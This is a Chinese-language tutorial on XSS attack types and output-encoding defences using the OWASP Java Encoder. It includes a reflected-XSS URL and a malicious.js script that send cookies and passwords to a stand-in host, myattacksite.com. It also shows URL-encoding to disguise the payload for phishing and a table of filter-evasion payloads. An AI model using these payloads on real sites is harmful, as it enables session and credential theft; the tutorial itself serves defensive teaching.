XSS攻擊的深入探討與防護之道
XSS是網站攻擊排行榜第一名。主要原因不是因為大家不知道或是故意遺漏這樣的防護,
而是因為有太多種可能性可以執行 JavaScript,導致只要有一點機會,就讓駭客有機可趁。
這篇文章主要說明XSS(Cross-site scripting或是稱為JavaScript Injection)攻擊的種類、範例。
並且介紹幾種防護的方法與可以運用Open Source 的程式庫。
XSS學名
俗稱的JavaScript Injection
簡稱又稱為 XSS
學名又稱為 Cross-site Script Attack
中文聽說翻譯成 (跨站攻擊 )
儘管筆者認為跟跨不跨站沒有太大關係
三種XSS 攻擊方式
定義來說XSS根據攻擊預期的結果可以分為三種。
- Reflected XSS
- Stored XSS
- DOM-Based XSS
Reflected XSS原理
為什麼叫做 Reflected XSS呢?
顧名思義就是網站會反應所輸入的 JavaScript。
因此,因為當駭客成功發現某個網站可以執行駭客預期的惡意程式碼時,
駭客就可以把受害 (被植入 JavaScript)網站的 URL透過釣魚的方式或是郵件傳送給被害人。
當被害人點擊該 URL時,就會看到且執行該 JavaScript。
Reflected XSS範例
舉例來說,讓我們看下列的 URL
www.mybank.com/changePassword?username= xxxx
如果更改密碼僅需要透過 Http Get 參數傳遞,也就是 URL 中的參數,那麼駭客有可能輸入下列方式達到 XSS
[pastacode lang=”markup” message=”” highlight=”” provider=”manual”]
www.mybank.com/changePassword?username="><script>document.write('<img+src%3d"http%3a//myattacksite.com/collector%3fsession%3d'+%2b+document.cookie+%2b+'">')%3b</script><a+href%3d"
[/pastacode]
JavaScript 可以盜取帳號?
讓我們看下列這個例子。讀取網頁上的帳號密碼完之後,
將帳號密碼透過參數傳遞到駭客遠端的網站 http://myattacksite.com/collector.jsp?
所以我們把這個程式先存檔為 malicious.js
[pastacode lang=”javascript” message=”” highlight=”” provider=”manual”]
document.forms[0].onsubmit = function() {
var username = document.forms[0]["username"].value;
var password = document.forms[0]["password"].value;
var password1 = document.forms[0]["password1"].value;
var password2 = document.forms[0]["password2"].value;
var req = new XMLHttpRequest();
req.open("GET", 'http://myattacksite.com/collector.jsp?u='
+ username + '&p=' + password + '&p1=' + password1 +
'&p2=' + password2, false);
req.send();
};
[/pastacode]
但是問題來了,這樣的程式太明顯,一般人還是不一定會執行。因此要做一些隱藏。
比較常見隱藏的方式就是透過編碼 URL encoding。所以駭客要再加工兩件事情
1. 將上述 JavaScript “malicious.js” 放在遠端某受害者網站
2. 將含有執行malicious.js URL 編碼,讓使用者看不出執行malicious.js
3. 將整個編碼過後的 URL放到某公開的留言版或是社交網站,誘導使用者點擊。
URL Encoding
舉例來說,駭客組好下列的 URL,
http://localhost:8080/Demos/?username=“><script src=”http://myattacksite.com/js/malicious.js”></script><a href=”
這樣的 URL 太過明顯,因此需要編碼一下,可以透過這個服務編碼 http://meyerweb.com/eric/tools/dencoder/
http://localhost:8080/Demos/?username=%22%3E%3Cscript+src%3d%22http://myattacksite.com/js/malicious.js%22%3E%3C/script%3E%3Ca+href%3d%22
編碼完後,是不是比較看不出來呢?
之後,駭客再將這段 URL 貼在訪客留言版或是透過社交工程的方式寄給受害者,讓受害者點擊。
Stored XSS
Stored XSS 就是讓 JavaScript 可以儲存在網站資料庫中。
最常見的例子就是網站留言板或是訊息。由於留言版可以留的訊息格是不居。
因此,駭客就可以把程式碼放在留言板中,等待下一個瀏覽該留言板的受害者。
DOM-Based XSS
DOM-XX 跟前兩者最大的不同在於 DOM-Based 的攻擊要防護必須做在用戶端。
Reflected 與 Stored XX 則是在伺服器端做防護與驗證。
容易遭受到 DOM攻擊的有:
- document.url
- document.cookie
- window.location.search
- history.replaceState
在了解這些 XSS的攻擊之後,但是我們要如何防範呢?
XSS攻擊的類型彙整
Name | 特徵 | 範例 |
XSS Locator | 透過字串 | <SCRIPT>alert(String.fromChar- Code(88,83,83))</SCRIPT> |
XSS Locator 2 | 透過字串 | ‘’;!–”<XSS>=&{()} |
Image XSS | 透過 Img | <IMG SRC=”javascript:alert(‘XSS’);”> |
No quotes | 測試瀏覽器對於 quotes 的處理 | <IMG SRC=javascript:alert(‘XSS’)> |
HTML entities | 使用 " | <IMG SRC=javascript:alert("XSS ")> |
Grave Accent | 用其他字元來逃避防火牆檢查 | <IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`> |
fromCharCode | 透過這個方式可以避免過濾檢查 < or ‘ 的特定字元 | <IMG SRC=javascript:alert(String. fromCharCode(88,83,83))> |
UTF-8 Unicode encoding |
使用 unicode | <IMG SRC=javas ;cript:& #97;lert( 9;XSS')> |
Long UTF-8 encoding | 使用padding 與沒有 ; 的方式逃避防火牆的檢查 | <IMG SRC=ja 8asc 14ipt� 058ale� 0114t('� 00088SS'� 000041> |
Hex encoding | 逃避防火牆的檢查 | <IMG SRC=j |
Embedd tabs | 使用 tabs的輸入 | <IMG SRC=”jav ascript:alert(‘XSS’);”> |
Malformed US ASCCI |
使用ASCII 7bits 的編碼方式 | ¼script¾alert(¢XSS¢)¼/script¾ |
Portion-specific XSS | 使用特定的 tag | DIV, IMG, META, IFRAME, TD, TABLE, STYLE, BASE, COMMENT, OBJECT, EMBED, xml namespace, etc. |
輸入的驗證
首先是對於輸入資料做基本的驗證。輸入的驗證只能治標無法治本。
舉例來說,如果使用黑名單的方式將輸入的資料去除 “<script>”
那麼駭客如果輸入 <scr<script>ipt>,去除之後還是會對於 <script>輸入造成 XSS
另外,駭客也可以另用 <img src>不一定需要 <script> 才可以執行 XSS
<img src=”http://somesite.com/whatever.jpg” onLoad=”alert(1)”/>
XSS根本防護之道 – 輸出Encoding
只有做到輸入的驗證檢查是不夠的,必須要在輸出時做 encoding。
因為這樣才可以讓 JavaScript在最後瀏覽器瀏覽時不被任意執行。
資料輸出時候的 Encoding! 一般的編碼規則如下:
& --> & < --> < > --> > " --> " ' --> ' / --> / |
舉例來說,駭客輸入下列字串當作使用者名稱
John<script>alert(“This is XSS“);</script>
編碼之後就會變成
John<script>alert("This is XSS");</script>
當然這還容易,難的是會遺漏的地方讓駭客有機可趁。
哪些需要 Encoding呢?
- URL encoding
- JavaScript hex encoding
- CSS hex encoding
- HTML entity
舉例來說,下列都有可能成為 XSS的對象。
|
Java Encoding 程式庫
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
XSS 雖然大家都知道但是因為下列原因造成駭客一直有機可趁。
- 可以輸入XSS的可能性很多,例如透過HTML屬性
- 透過 HTML資料或是內容
- 透過JavaScript的alert訊息內容
- 透過JavaScript 程式
- 黑名單的方式無法有效完全阻擋,例如 <Sc<Script>ript>
- XML的資料也有可能被植入 XSS
- CSS屬性也會有 XSS
- URL也是最容易被遺漏的部分,更是駭客可以用來 XSS攻擊的
因此,有沒有library 可以比較有效的處理這些呢?
如果是使用 Java 筆者建議這個 Encoding 的 JAR。
該 Encoder 提供完整的 encoding 機制而且也考量效能。
我們需要的Encoder主要符合下列需求:
- 1. 只會 encode 並要的字元。其它字元不會。兼顧效能上的處理。
- 2. 會協助移除非法字元
- 3.編碼的方式兼顧相容性
如何使用 Java Encoder ?
|
針對HTML encoding的部分
- Encode.forHTML(String)
- Encode.forHtmlAttribute(String)
- Encode.forHtmlContent(String)
- Encode.forHtmlUnquotedAttribute(String)
針對JavaScript encoding 的部分
- Encode.forJavaScript(String)
- Encode.forJavaScriptAttribute(String)
- Encode.forJavaScriptBlock(String)
- Encode.forJavaScriptSource(String)
如果不確定哪些時機使用哪一個,至少可以使用
- Encode.forHTML(String)
- Encode.forJavaScript(String)
XML的部分
- Encode.forXml(String)
Encode.forXmlContent(String)
Encode.forXmlAttribute(String)
Encode.forXmlComment(String)
Encode.forCDATA(String)
CSS Encoding
- Encode.forCssString(String)
Encode.forCssUrl(String)
URL Encoding
- <a href=”/search?value=<%=Encode.forUriComponent(parameterValue)%>&order=1#top”>
- <a href=”<%= Encode.forHtmlAttribute(url) %>”>
小結
從這篇文章的說明,我們了解
- 1. 為什麼 XSS 一直是駭客的最愛? 因為可以植入 XSS的地方太多,HTML, JavaScript, CSS, XML, URL等。
- 2. 為什麼防護很難做到滴水不漏? 因為黑名單或是輸入驗證都不是有效的方法。需要做輸出的 Encoding。
- 3. XSS 可以盜取帳號密碼? 可以讓使用者點擊 URL執行? 可以盜取 Cookie 值 ? 答案都是肯定。
知道XSS 的攻擊這麼廣泛後,防護之道不僅僅靠輸入驗證或是黑名單,還需要針對輸出做 Encoding。
輸出 Encoding 的範圍包含 URL, HTML, CSS, XML, JavaScript等。漏掉一個,駭客還是有機可趁的。
這就為什麼 XSS 一直以來都是駭客攻擊首選的原因。